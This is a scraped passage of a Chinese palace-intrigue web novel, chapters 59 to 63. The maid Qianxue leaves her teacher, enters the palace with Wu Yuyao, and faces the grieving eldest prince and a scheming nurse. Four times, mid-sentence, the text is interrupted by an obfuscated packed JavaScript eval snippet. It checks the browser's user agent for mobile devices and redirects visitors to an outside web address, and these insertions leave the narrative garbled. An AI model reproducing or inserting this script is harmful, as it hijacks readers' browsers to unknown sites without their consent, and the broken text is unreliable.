推开那扇略有些年头的院门，墙边立着崭新的练功桩，架上错落有致地摆着几柄长枪短剑，擦得锃亮。苏红缨正拎着个半人高的大酒葫芦，豪气地往石桌上的粗瓷碗里倒，旁边碟子里堆着冒尖的卤肉，酱汁深浓。 “死丫头！”苏红缨一见千雪，一双眼镜立刻亮得惊人，把酒葫芦往桌上一墩，三步并作两步冲过来，就朝着千雪的肩膀拍来，“太阳打西边出来了？今儿怎么舍得挪尊驾，想起我了？” 那一巴掌带着风，却巧妙地在触及时卸了力道，变成不轻不重的摩挲，透着一股亲昵劲。 苏红缨声音洪亮，快人快语：“是不是躲懒去了？功夫都长荒了？让我瞧瞧下盘还稳不稳！”说着作势要去探她腿脚，脸上却是止不住的笑意。 千雪侧身避过，脸上也绽开笑意：“师父手轻点，我这小身板禁不住。” “呸！娇气！”苏红缨笑骂，拉着她往桌前按，“来得正好，陪师父喝一碗！这肉也刚出锅，入味得很！” 酒碗递到面前，辛辣的酒气钻入鼻腔，千雪看着师父那张依旧明艳，因见到她而容光焕发的脸，心头像是被揉了一下，那暖融融的笑意一滞，变得复杂起来。 她轻轻推开酒碗，迎着苏红缨疑惑的目光，唇角努力维持着那个浅浅的弧度，声音却轻飘了些：“师父……以后这酒，怕是不能常陪您喝了。” “嗯？” 千雪垂了垂眼睫，复又抬起，看向苏红缨的眼睛，缓缓道出： “师父，我……要进宫了。” 59.第五十九章 告别 苏红缨脸上的笑容忽的一下凝住了，眼睛猛的睁大了几分：“进宫？” “你怎么会要进宫？你不是还打算攒钱赎身吗？！” 待千雪将前因后果细细说来。 她猛地将酒碗往石桌上重重一搁，酒液都溅了出来，“那姓杜的不是个好人！” 她一把抓住千雪的手臂，“别怕，你要是不想去跟师父说！我们一起想办法！这劳什子宫有什么好进的，实在不成，我替你想法子从国公府赎身！总有门道！”她语速快的很。 千雪任她抓着手臂，她望着苏红缨眼中的担忧，她心中酸软一片。 她轻轻地摇了摇头：“师父，没有人逼我。我是自己愿意去的。” “玉瑶小姐对我，是有情分的，她护过我。这份情，我不帮，她或许就真的孤身入海了。”她顿了顿，唇边泛起一丝苦笑，“况且，府里那位杜夫人，岂会让我轻易脱身？若强行留下，我怕是再难有安生日子过，毕竟我身契不在自己手中。” 苏红缨哑然了，她看着千雪知道她这不是冲动，是衡量之后的选择。 她沉默良久，终是长长地吐出一口气，那气仿佛带着千钧重，声音闷闷的：“……自愿的？你想明白了？” “嗯。”千雪的声音轻得像落叶飘过。 “那……”苏红缨顿了顿，想起什么，“你之前让我和张藏那小子给你留意京郊铺子，田庄的事，是……” “是，师父。”千雪立刻接口，从怀里取出一个沉甸甸的，用蓝布仔细包着的钱袋。布是旧的，但洗得干净，封口处叠得一丝不苟，她双手递过去：“这是我攒下的所有体己，都在这里了。玉瑶小姐的赏赐宽厚些，加上年节的银子，也就这些。我知道不够买个好铺面，只是想托师父您，替我同张藏大哥说，帮我留意着，不拘大小，地段过得去，或是小点的良田也行，请张藏大哥费心先寻着，看着，若有机会合适……托您做主帮我定下也好。这钱，暂时就托付给您了。” 那钱袋的沉甸甸的，压在苏红缨掌心，她掂量了一下，心头一阵发紧，这丫头，是把自己的身家都托付出来了。 她将钱袋紧紧攥住，心情不算好，但仍努力弯了弯嘴角：“行！交给师父！张藏那小子可靠，我也替你看着他办事，保管给你寻摸着！银子我给你收着，一个子儿都不会短你的！”她又拍了拍胸脯，“放心！有师父在！” 院里的暮色已经四合，将两人的身影拖得长长的。 千雪退后一步，对着这个师父，深深的，端端正正的行了一个弟子礼。 起身时，她望着苏红缨强自镇定的脸，绽开一个清浅，带着离愁的笑容：“师父，您……多保重，千雪今日，便告辞了。” 苏红缨喉头滚动了一下，想说什么，最终还是化作一个重重的点头。她没有送到门口，只是站在满院兵器的阴影里，看着那抹纤细的身影推开了吱呀作响的院门。 模糊的视野里，那个背影已经融进了小巷的昏暗中，渐渐消失不见。 夜风更凉了，吹得她鬓角的几缕散发，那句本该洒脱的告别，终究没能出口，只剩一句沉在酒气里的低喃，消散在风里：“……后会有期。” 接下来的日子在琐碎的忙碌中溜走，这几日，吴玉瑶院里的小库房门总是敞着。 千雪带着个小丫头，一件件清点着要带进宫的东西：几套按宫里规矩新裁的新衣，料子细滑却不张扬，几件分量适中，样式简单的金银头面，一方吴承宗着人送来的上等徽墨和几卷素宣，还有那只常搁在书案上的青玉兔压镇。 入宫的日子敲定在六月十八，掐指一算也没几天了。宫里今年本该有七月的小选，各路官员家的女儿都要齐聚待选。可吴玉瑶的名字被圣旨提前点走，让她省了这道规矩。是好是坏？吴玉瑶没细想。省了麻烦是真的，至于旁的议论揣测，也顾不得了。 府里的动静也没停歇，黄姨娘这些时日往吴玉瑶的芳华院来得特别勤快。不提什么富贵前程了，只带些自己做的点心汤水，坐下说些家常琐碎。吴玉瑶也都陪着，淡淡应和几句。 “天气燥，吃点甜汤润润。”黄姨娘笑容比往常和软许多，捡些府里下人的闲话，吴景云近来的学业来说，言语间透着亲近。 吴玉瑶坐在小桌对面，用小银匙慢条斯理地搅着碗里的甜汤，间或应两声“是”，“劳姨娘费心”，笑意浅浅浮在面上，却也止于面上。 连她那极少主动登门的庶弟吴景云，也在姨娘身旁来站过两回。站在那却有些局促，喊了声“四姐姐”，便垂下眼不大敢看她。 他们母子打什么算盘，吴玉瑶心如明镜。无非是眼看她这步棋将要落在那个至尊至贵之处，心里悬着怕她记恨过往的冷淡，怕她一朝扶摇便彻底撇开这对母子。如今这般示好，是想在她入宫前，多留几分情面。 她心里没什么波澜，这点浮于表面的弥补，解不了旧日的结。不过，在这府里，她早已学会该有的体面总要给足，所以茶点照收，话也照回，客气周到，不给人留半点话柄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146172|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>入宫前日，天色将晚时，国公爷吴承宗差了贴身长随来请她去前院书房。 书房里烛火通明，檀木案几擦得油亮。吴承宗没坐在书案后，而是站在窗前，背影沉肃。见吴玉瑶进来，他转过身，目光在她脸上扫过。 “都收拾妥当了？” “回父亲，千雪在打点，大致齐备了。”吴玉瑶恭敬回话。 “嗯，叫你过来，是有些话要交代。”吴承宗示意她在下首的椅子坐了，自己也踱步回书案后坐下。“宫里，”他指尖点了点桌面，语气是少有的凝重，“和外面全然不同，一砖一瓦，一句一答，都可能是风口浪尖。尤其是凤仪宫那位，多年来与我们吴家，更与你姐姐……多有龃龉。你进了宫，言行更要万般谨慎。所谓明枪易躲，暗箭难防，切莫因一时心软或天真，将后背露给旁人。在那里，没有朋友，只有利益纠缠和人命相搏。” 吴玉瑶脊背挺直，声音沉静：“父亲教诲，女儿谨记在心，定会步步当心。” 吴承宗见女儿应答沉稳，眼神中那点审视的意味略缓了缓。“还有一事。”他端起茶盏抿了一口，“贵妃，她虽不在了，但经营庆祥宫这些年，根基犹在。原庆祥宫的老人手，大多还留在宫中等候新主。这，也算是我吴家给你的一点倚仗。这些人，你尽管用，都是家里信得过的。” 他顿了顿，补充道：“正因为有这层根基在，我才与你母亲商议，让你自己选贴身伺候的人。带了小橘和千雪两个，也是你的意思。她们跟着你有段时日，更熟悉你的脾性。” “是，女儿明白，也多谢父亲母亲体恤。”吴玉瑶垂首。 从书房退出来，傍晚的风已带了些凉意，吹在脸上却吹不散心头的凝重。 姐姐留下的宫人她们或许对贵妃忠心耿耿，或许对吴家忠心耿耿，但对她吴玉瑶未必忠心。 她这位刚刚踏进宫门的新主，不过是这根藤上新结出的一个果子罢了。要用这些人？自然要用，但能将性命攸关之事托付吗？恐怕未必。 想到这里，她脚下步子快了些。回到芳华院，跨进小院门槛时，飘来一阵饭菜的暖香。 小橘正踮着脚在廊下挂灯笼，见她回来，忙不迭小跑着迎上来：“姑娘，晚膳备下了，千雪姐姐还温着您爱喝的莲子羹呢！”烛光映着小橘的脸庞，那眼神里的关切是真切的。 吴玉瑶微微颔首，心里那根绷紧的弦，到底松了半分。千雪，小橘，或许就是那深不可测的宫墙之内，她能攥在手里的，最实在的依仗了。 60.第六十章 入宫 六月十八，吴玉瑶一身规制的四品美人常服，拜别了父母，带着千雪和小橘，在引路太监的带领下，登上了那辆载她去往深宫的青帷小轿。 千雪紧跟在轿侧，步履平稳，眼神沉静如水，偶尔不着痕迹地扫过四周的环境和路过的宫人，将路径和规矩默默记在心里。 庆祥宫离皇帝所在的紫宸殿不远不近，规制自然不小。原本以吴玉瑶美人正四品的位份，是不能做一宫主位的。 但此宫本就是贵妃吴玉华的居所，贵妃薨逝后，正殿一直空置。如今特旨令吴玉瑶入主庆祥宫，虽封美人，却特许她暂居正殿。这恩典，内里蕴含着多少考量，明眼人都看得出来。 轿子在庆祥宫正门前停稳，早有二十来个宫女太监垂手静立在宫门外阶下两旁。为首的是个年约三十许，穿着掌事宫女服色的女子。 她面容素净，姿态端正，眉宇间带着一丝宫中老人特有的精明与稳重。这便是贵妃吴玉华身边得用的大宫女，如今庆祥宫的掌事如月。 “奴婢庆祥宫掌事如月，携阖宫上下，恭迎吴美人回宫。”如月领着众人齐齐福身行礼，动作整齐划一，声音平稳恭敬，听不出额外的情绪。她抬起头，目光在吴玉瑶身上快速扫过，也掠过了她身边侍立的千雪和小橘。 千雪没有立刻动，只等吴玉瑶扶着引路太监的手步下小轿站稳，才与小橘一同上前，稳稳站定在吴玉瑶身后半步的位置。 “有劳如月姑娘了。”吴玉瑶微微颔首。 “美人折煞奴婢了，请美人移步正殿休息。”如月侧身引路。 主仆三人刚踏入宫门没几步，便有外院值守的小太监匆匆跑来禀告：“禀美人，如月姑姑，各宫主子闻知美人今日入宫，都差人送了贺礼过来，现下东西已到宫门口，如何处置，还请美人示下。” 话音刚落，果然见几个小太监抬着几抬大小不一的盒子，匣子跟在后面。 吴玉瑶脚步顿了一下，看向如月，她一个新晋美人，乍然入住正殿，各宫的态度，就藏在这些贺礼里。 如月会意，立刻接话道：“美人才刚回宫，一路劳顿，请先至正殿安坐，梳洗歇息。这礼单物品，自有奴婢按宫中规矩，先行清点造册，再呈美人过目。” “就按如月说的办吧。”吴玉瑶点头，继续向前走去。这是宫里的规矩，也是对如月这位掌事权限的确认，新主旧仆氛围有些微妙。 卸下正装，换了一身轻便的鹅黄衫裙，吴玉瑶才略略松了口气。这里毕竟是昔日贵妃的正殿寝居，陈设威仪华贵，只是空旷得带着股寂寥。偌大的内殿，此刻只剩下了她，千雪和小橘三人。 小橘快手快脚地在收拾着刚解下的钗环衣物，千雪则手脚麻利地为吴玉瑶奉上了一盏温热的安神茶，同时压低了声音： “娘娘，方才在宫门处迎接咱们的那些宫人里，您可仔细瞧了？有没有从前在府里就伺候过贵妃娘娘、后来跟着娘娘一同入宫的旧人面孔？” 吴玉瑶接过茶盏的手停在半空，仿佛被这问题拉回了久远的记忆，随后她心一紧，缓缓摇头，： “没有，一个熟悉的脸孔都没有看见。我记得清楚，姐姐当年封贵妃入宫时，从娘家带了两个贴身侍婢一同进去，都是跟了她好些年的，情分深厚，一个叫春桃，性子最是爽利机敏，姐姐最喜她的玲珑劲，另一个叫夏荷，稳重细心，把姐姐身边的事打点得一丝不乱……如今这庆祥宫上下，却一个也无。” 千雪道，“那如今这掌事的如月，恐怕是贵妃姐姐入宫后才从宫人里提拔上来，渐渐得用的。” 话说到这里，空气骤然沉凝了几分。小橘收叠衣物的动作也停住了，惊疑不定地望过来。 春桃，夏荷……那些曾经在府里花园中穿梭，在姐姐闺房里忙碌的鲜活面孔，那些被姐姐倚为心腹的贴身侍婢们，在这庆祥宫中，竟一个也没有留下！ 她们去了哪里？以姐姐当年的地位和性情，若非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157366|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭遇不测，她定会竭力保全这几个一路跟随的心腹。就算是为了安插心腹，延续宫中的势力，也应该设法让一两人活下来，至少在新主入宫，根基不稳的时候能够襄助提点。 一个都不见了……唯一的解释，只能是她们都折在这深宫里了。她们的生命，或许无声无息地消逝在某个不为人知的角落，成为了这深宫巨浪下微不足道的尘埃。 姐姐当年独步深宫的风光背后，竟隐藏着如此惨烈的代价！这庆祥宫华丽表象下的森森白骨，让吴玉瑶第一次如此直观的感受到了帝王后宫的可怖。 千雪一直紧盯着吴玉瑶的神情，她立刻收起了探究的神色，心念电转间已有了决断，绝不能任由娘娘在这初来乍到的当头就陷入这种沉重的情绪。当下最要紧的，是让娘娘定神，踏实立足。 “娘娘今日辛苦了许久，想必乏得紧，您带进来的物件里，有几样是紧要的，您亲手抄录的祈福经文小册，还有您平日用惯了的那套月白细瓷茶具，最是怕磕碰。是等娘娘先歇息一下再看，还是奴婢此刻就替您找出来归置妥当了？免得回头急用起来一时寻不到，反倒不便。”她一边说，一边手脚麻利地将吴玉瑶刚卸下的披帛轻轻折叠好。 正在一旁低头整理首饰小匣的小橘也机灵地抬起头，接着千雪的话茬，努力让语气显得轻松一点：“是啊娘娘！您那个描了缠枝莲图案的小妆匣真真好看，是您自己挑的，带着也安心不是？不如奴婢这就把它拿出来摆在外间暖阁的小几上？” 吴玉瑶深吸一口气，心里明白两个丫头的意思。“好，”她定了定神，开口道，“千雪，去把经文的匣子和常用的那套茶具先收拾出来。妆匣……”她目光转向另一边，“小橘，你先拾掇着。” 话音刚落，外间就传来一阵不小的骚动，脚步声乱糟糟地逼近，夹杂着宫人的劝阻。 门被猛地推开，带着一股风，大皇子萧曜怒气冲冲地闯了进来，如月和其他几个宫人根本拦他不住。 61.第六十一章 张嬷嬷异常 萧曜径直冲到吴玉瑶面前，小小的手指头直直戳向她，声音又大又冲，带着孩子气的蛮横：“你！你滚出宫去！我不要你在这里！我要母妃！我只要我母妃！”吼完这句，巨大的委屈淹上来，他哇的一声大哭起来，同时猛地一挥手，狠狠扫过旁边的梳妆台。 “哗啦！”一声脆响。梳妆台上的物件遭了殃——妆匣被掀翻在地，铜镜哐当砸下去，玉梳、簪子、胭脂罐子，小银盒……全都噼里啪啦地滚落下来，摔了一地狼藉。 吴玉瑶愣在原地，只觉得全身的血液瞬间冲到了脸上，耳根也火烧似的烫。 进也不是，退也不是，一股强烈的委屈堵在胸口走？她心里发苦：谁又想进这宫墙里头？可这话如何说的出口。 如月和萧曜的乳母张嬷嬷紧接着追了进来，张嬷嬷扑上去抱住哭闹的小主子：“哎唷我的老天爷，小祖宗啊！可不敢这样！仔细伤着了！” 如月也赶紧上前，软着声音哄劝：“殿下，殿下您消消气……” 小小的身体在两人怀里死命扭动挣扎，踢蹬着小腿。哭声，劝解声，拉扯声在狭窄的内室里混成一团，几个小太监在边上手忙脚乱，不知该如何是好。 吴玉瑶僵立在原地，眼睁睁看着那哭闹挣扎的小人被乳母和宫人几乎是半架半抱地弄了出去。喧闹声渐渐远离，直到那扇门被轻轻关上，留下满地的碎片。 过了一会儿，才有胆小的宫人进来，蹑手蹑脚的开始收拾地上的碎片，大气都不敢出。 张嬷嬷扶着门框进来，对着吴玉瑶行了个礼：“娘娘您多担待些，殿下他年纪小，不懂事，不是故意冲撞您。”她说完，正要行礼告退，千雪出声拦了下来。 “嬷嬷，”千雪开口，脸上没什么表情，语气也寻常，“殿下这几日，除了呆在自己房里伤心，可还做过些什么？都见了哪些人？” 张嬷嬷像被针扎了一下，猛地回身，脸上霎时褪了血色，眼神开始乱瞟。“这……娘娘，殿下他……他就只是伤心，日日把自己关在屋子里，谁，谁也没见啊……” 千雪紧紧盯着她不安搓动的手指和躲闪的目光，心里有了七分数。看来大皇子今天这场大闹，绝不是孩子单纯发脾气那么简单，背后肯定有人说了什么。 “哦？”千雪的声音放低了点，带着点疑惑，却也藏着刀锋，“怎么？殿下的日常起居，谁见了谁，这点事，如今也不能跟咱们娘娘说了？” 张嬷嬷被她最后这句轻飘飘的反问噎得说不出话，脸涨得更红了，喉头滚动着，嘴唇哆嗦着，只重复道：“真的……真的没，没见人……就是伤心……” 千雪心中冷笑，面上却不显，知道再问下去，这老嬷嬷要么装糊涂到底，要么胡编乱造，反而不好。现在逼急了没好处，她微微颔首，声音恢复如常：“行了，知道了，嬷嬷下去吧，好生伺候殿下。”语气听起来就像刚才只是闲话家常。 张嬷嬷如蒙大赦，慌忙行了个礼，几乎是逃也似的退下了。 千雪掩上门，转过身。目光投向站在吴玉瑶身侧，一直沉默不语的掌事宫女如月。 “如月姐姐，”千雪走到如月面前，“麻烦你，挑两个机灵又嘴严的，给奴婢盯一盯这张嬷嬷。看看她平日里都去哪儿，和什么人来往，尤其是出她当值的院子之后。” 如月一愣，下意识地看了一眼椅中的吴玉瑶。这位新主子刚来就碰上这阵仗，还摔了一地东西，眼下千雪这吩咐…… 吴玉瑶的视线也从混乱的地面抬起，落在千雪脸上，虽然心绪烦乱，被那孩子指着鼻子骂的难堪和委屈还未散去，但她也明白千雪的用意，千雪是为她着想，在摸清这潭水的深浅。 更何况，她现在确实需要依仗眼前这两个得力的人。她深吸一口气，带着点新主子的生涩，但对千雪是信任的。 “听千雪的吧。”她对如月点点头，语气很稳，“她的意思，就是我的意思，你们照办就是了。” 得了主子的准话，如月心里也有了底，她立刻躬身应下：“是，娘娘，奴婢这就去安排。”说罢，不再犹豫，利落的退了出去，着手布置。 屋子里再次只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162060|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴玉瑶和她的两个心腹丫头。小橘还在角落里，仔细清理地上的小碎片，尽量不发出声响。 吴玉瑶看着千雪，眉头微蹙：“千雪，你刚才……是看出那张嬷嬷不对了？”她顿了顿，“但她毕竟是大姐姐身边挑来的老人，在这宫里根基深。你既然觉得她有问题，为什么刚才却直接让如月派人去盯她？这等于把怀疑摆到了明面上……你不怕万一如月也是她那边的人，或者……打草惊蛇吗？”她初来乍到，处处都觉掣肘，生怕一步踏错。 千雪轻轻走到吴玉瑶身边：“主子想的没错，那张嬷嬷肯定不干净，但正因为她是旧主子留下的体面老人，咱们现在根基不稳，更不能直接动她。没凭没据的，她反咬一口，反倒陷主子于不义。”她顿了一顿，眼神锐利，“至于如月……她是庆祥宫的掌事宫女，是宫中派下来的，身份职责都在明处。眼下我们初来，宫里的人事还没摸透，最忌讳的就是一开始就动这些管事的。先用着她，让她办事，总好过现在就因为疑心得罪了她，咱们盯着张嬷嬷，也是在看。” 屋子里彻底安静下来。小橘已经收拾完地上的碎片，退到角落候着，只留下吴玉瑶和千雪主仆二人相对。 吴玉瑶怔怔的坐着，想起离家入宫的前，父亲把她叫进书房，屏退了所有人说的话。 “原庆祥宫的老人手，大多还留在宫中等候新主。这，也算是我吴家给你的一点倚仗。这些人，你尽管用，都是家里信得过的。” 父亲的话，在那时是让她心下稍安。 可现在呢？ 国公府对宫里，尤其是对大皇子身边这些老人的掌控，远比父亲说的，比她以为的，要弱得多，甚至可能是完全判断错误了！ 所谓可以倚仗的老人，所谓的娘家耳目，很可能要么根本就不存在，要么早已不是国公府以为的样子。 吴玉瑶的手指猛的收紧，指甲硌着手心，她一直以为身后有条退路，即便再难，娘家总有消息和力量能透过来。现在看来，这宫墙隔绝的不仅是人，连消息和信任的通道，也早已被切断。 62.第六十二章 挑拨 东西六宫送来的礼一拨接一拨堆在庆祥宫前厅。如月埋首登记，吴玉瑶坐在主位，对每位送礼来的大宫女都客气地道了谢。她心里还堵着萧曜早上冲她吼的那股闷气，但父亲的话响在耳边吴家得靠她在宫里撑着。 她吐了口气，转头吩咐一旁的千雪：“你去看看曜儿，他不知早膳用了没有。” 千雪走之前还对吴玉瑶说，让她寻个机会单独留下如月说说话，吴玉瑶知道她意思，应下。 千雪叫上宫女圆珠，圆珠提了个装着点心的食盒，千雪初来并不知晓去南三宫的路，她与圆珠并肩走着，圆珠是个话多的，一路给她介绍。 南三宫离庆祥宫有些距离，越走越安静。到了萧曜住的宫室门口，偌大的庭院空落落的，伺候的宫人们都屏息垂头立在廊下，里头一点动静都没有，静得让人心慌。 千雪一眼看见门槛边坐着个小小的身影七八岁的小孩子，穿着皇子规制的锦缎衣裳，却只拿背对着门口，对着地上的石子泄愤似的踢着，那背脊挺得像根绷紧的小弓弦，可见是还在气头上。 “殿下，”千雪走近几步，声音放软了些，“奴婢来看看您，给您带了些……”千雪的话还没说完，那小小的身影猛地跳起来转过身，一张脸气得通红。 “谁要看你的东西！”萧曜的声音响起，还带着哭腔，眼睛里冒火一样看着千雪和她身后的圆珠，“都滚！你们统统滚出去！” 千雪心头一沉，但还是稳着声想往下说：“殿下……”可她身后的圆珠见过这架势，被萧曜的怒气吓得一哆嗦，手里提着的食盒哐当就掉在了地上。点心盒子摔开了，里面的几样精致点心滚得满地都是，沾满了灰。 萧曜死死盯着地上那摊狼藉的点心，又猛的抬头看千雪，小胸膛剧烈起伏着，眼睛里那股蛮横的怒气渐渐渗出一丝委屈和恨意。 “拿走！”他小手指着地上的脏点心，又狠狠指向千雪和圆珠，“臭东西！和她住的地方一样!”他几乎是拼尽全力喊出那个字：“我讨厌她！” 说着转过身赌气似的不在看两人，千雪扭头示意圆珠先出去，圆珠如蒙大赦，几乎连滚带爬地消失在宫门外，院子里一下子静得只剩下风刮过回廊的微响。 萧曜还是背对着千雪，缩着小肩膀，像块又冷又硬的石头。 千雪站在原地，看着他的后脑勺，过了一会儿，她才出声。 “殿下还记不记得国公府的桂花栗子糕？”她没等回答，继续说，“那日你去玩的累了，府里的厨房做了新蒸的桂花栗子糕，老夫人让人送过来，奴婢看您坐在那，小小的，自己吃了好几块。” 萧曜背对着她的身体似乎极轻微地顿了一下。 “那味道甜，但不腻人，栗子磨得细，掺了桂花蜜，蒸得松松的。”千雪的目光掠过地上那摊沾满灰土的脏点心，很快移开，“殿下可能觉得，如今的点心都不合口了。” 她没多解释，直接从怀里掏出一个用干净棉布包好的，手掌大小的青瓷小盒子。她解开布，掀开盖子，一股清甜的桂花香混着栗子香就飘了出来。 “那天看您喜欢吃，我就抽空给小橘带过话，让她试试学着府里老厨娘的法子做做看，小橘你可能不知道，但她手巧也一并入宫了。”盒子里几块小巧的栗子糕颜色鲜亮，上面的干桂花粒清晰可见。 她上前几步，没靠太近，弯腰把小瓷盒子轻轻放在门框内的干净地砖上，就在萧曜坐着的斜侧后方，正好在他能看到的地方。 “殿下…尝尝？”她的声音放得更轻了些，“要是觉着味道不像府上的，放着就是。” 说完，千雪直起腰，非常干脆地说：“奴婢告退。”她没再停顿，也没看萧曜有什么反应，转身就走，脚步稳得很，很快就出了宫门，转过宫墙不见了。 院子里死静一片，伺候的人钉在原地，恨不得自己是根木头桩子。 风里那缕桂花香钻入鼻子，千雪的话也在脑子里转。 国公府是他母妃的家，以前母妃在时，偶尔是带他去的。那府里的人见了他，眼睛都亮着光，仆妇丫头们见了他也都笑呵呵的，他是年纪小可人脸上的笑是真心假意，他还是分得清的，那桂花栗子糕的甜味，就跟着外祖母的手摸在他头上的暖和劲儿一起印在心里的。 萧曜僵硬的肩膀，轻轻抽动了一下。 他慢慢的把身子转过来了一点，头还是低着，但眼睛已经斜着瞄向地上那个敞开的青瓷小盒。金黄的桂花粒衬着淡黄的糕体，在光下显得特别暖，甜甜的香气直往上冒。 他的嘴紧紧撅着，腮帮子鼓鼓囊囊的，像是在跟自己较劲儿，不想就这么认输。可心里的某个地方，实实在在地被什么东西撞了一下，有点酸，又有点暖。 那只小手，最后还是伸了过去，没有犹豫太久，他一把抓起一块还微微温乎的栗子糕，小嘴也不再撅得那么高了。 院子里的那缕桂花甜香还没散干净，廊柱的阴影下，张嬷嬷像一抹悄无声息的影子滑了出来。 她先在千雪离去的方向剜了一眼，又扫过地上敞开的青瓷小食盒，最后定在门槛上那个捏着半块糕点，低着头不知在想什么的小身影上。 整个过程都没逃过她的眼，张嬷嬷脸上依旧是那副恭顺刻板的模样，心里却不平静。 这丫头，刚才在庆祥宫言语试探她，她惊慌差点就要露馅儿。如今递了块糕过来，大殿下那股子冲天戾气，竟真被安抚住了几分，不再惊天动地的闹了。 张嬷嬷心里急得冒火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170222|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这怎么行？新主子那边可是递了银子和话的大殿下这里，水越浑，动静越大，她才越有分量。平静了，她这个人在新主子眼里还能有什么大用？ 水，得搅得更浑才行。 她挪到萧曜旁边，挨着门槛也在那冷石阶上坐下，动作很自然的靠近了些，脸上堆起了笑。 “殿下呀，”她声音软和，伸手作势要给他掸衣袍下摆，“外头石头凉，坐久了仔细寒气，进屋里头暖暖吧？嬷嬷叫他们给你温碗甜牛乳来？” 说话间，她那小眼睛，飞快地在萧曜手里捏着的糕和他身边地上的青瓷盒子上溜了一圈。 “这糕……”她拖着调子，像随口闲聊，又带着点过来人的感慨，“千雪姑娘啊，对殿下倒是真上心。”上心两个字她说的有些咬牙切齿，既像夸奖，带点意有所指，千雪是谁的人？是现在占着庆祥宫那位的人！ 听到千雪的名字，萧曜捏着糕的手没松，小脑袋却微微抬起来一点。他看着手里半块还冒着热乎气的点心，那清甜的桂花栗子味儿直往鼻子里钻。国公府的光景跟着这味道也在心头一晃而过，那些真心实意的笑，给他塞吃食的手……还有千雪。 他讨厌的，是现在那个坐在母妃寝殿里，抢了母妃位置的吴美人！ 张嬷嬷眼看萧曜对千雪的名字没什么特别的恶感，心里暗啐一口，她立刻换了方向。 “殿下的身子骨啊，可是咱们宫里顶顶金贵的！前头贵妃娘娘在时……”她刻意停顿了一下，提起吴玉华，偷眼觑着萧曜的反应，果然见他小小的身体猛地一绷紧。 “哪样入口的东西不是千叮咛万嘱咐，层层查验过了才敢放心？就怕有一星半点的不好伤着了您。”她幽幽叹口气，“如今换了人唉，东西是送来了，看着是精致，可这入口的东西，天知道是谁的手弄的？谁知道里面藏没藏不好的东西。” 她那双眼里直勾勾盯着那半块糕，仿佛那上面正沾着毒药。 “谁的手弄的？” “哪个人的小厨房？” 眼前松软香甜的桂花栗子糕，好像变成了吴玉瑶的脸，千雪的脸也变得模糊起来，她是好人吗？可能是。 但她送来的东西呢？是不是沾了吴玉瑶？是不是那个女人用这种方式来安抚他，试探他，甚至害他？！ 他猛地一甩手！ 半块精巧的桂花栗子糕，又掉在了地上，在原先狼藉的点心堆旁边，又添上一小摊。 张嬷嬷立刻道，“哎哟喂我的好殿下！您这是何苦哇！”她慌忙去拉萧曜的手腕，“别和自己置气，这腌臜东西快别瞧着了！快！快让嬷嬷带您洗手去！可别沾了晦气！” 张嬷嬷眼里一丝得逞的精光一闪而逝，被不远处的大宫女巧兰看在眼里。 63.第六十三章 淑妃 千雪回到庆祥宫，把那边的事跟吴玉瑶大致说了，提了句南三宫的情形，意思大殿下暂且安静下来了，宫里的皇子们，大都住在那一片的南三宫，但千雪看里面如今只住了萧曜一个皇子，想来剩下的二皇子三皇子年岁不大，养在各自母妃宫里。 吴玉瑶坐在窗边的软榻上，手指捻着帕子，听着，点了点头：“你走后我单独找了如月说话，她倒是表了番忠心，话里话外都围着这庆祥宫当差的事，瞧着没什么不对的地方。” 千雪点点头，如月作为掌事宫女，之前肯定是得吴玉华看重的。 入宫的第一夜，宫中掌灯时分，便有太监来传话：陛下萧琰今夜摆驾皇后的凤仪宫。 暖阁里侍立一旁的宫女们都垂下了头，吴玉瑶搁在膝上的手，很轻微地动了一下，随即彻底松弛下来。 她几不可闻地松了一口气，并没有失望或者气恼，那位主宰着天下的帝王，对她而言，完完全全是个陌生又威重的男子。 此刻不去见他，心头那块沉甸甸压着的石头总算是暂且落地了，她真的还没准备好，听了皇帝不来反倒松了一口气。 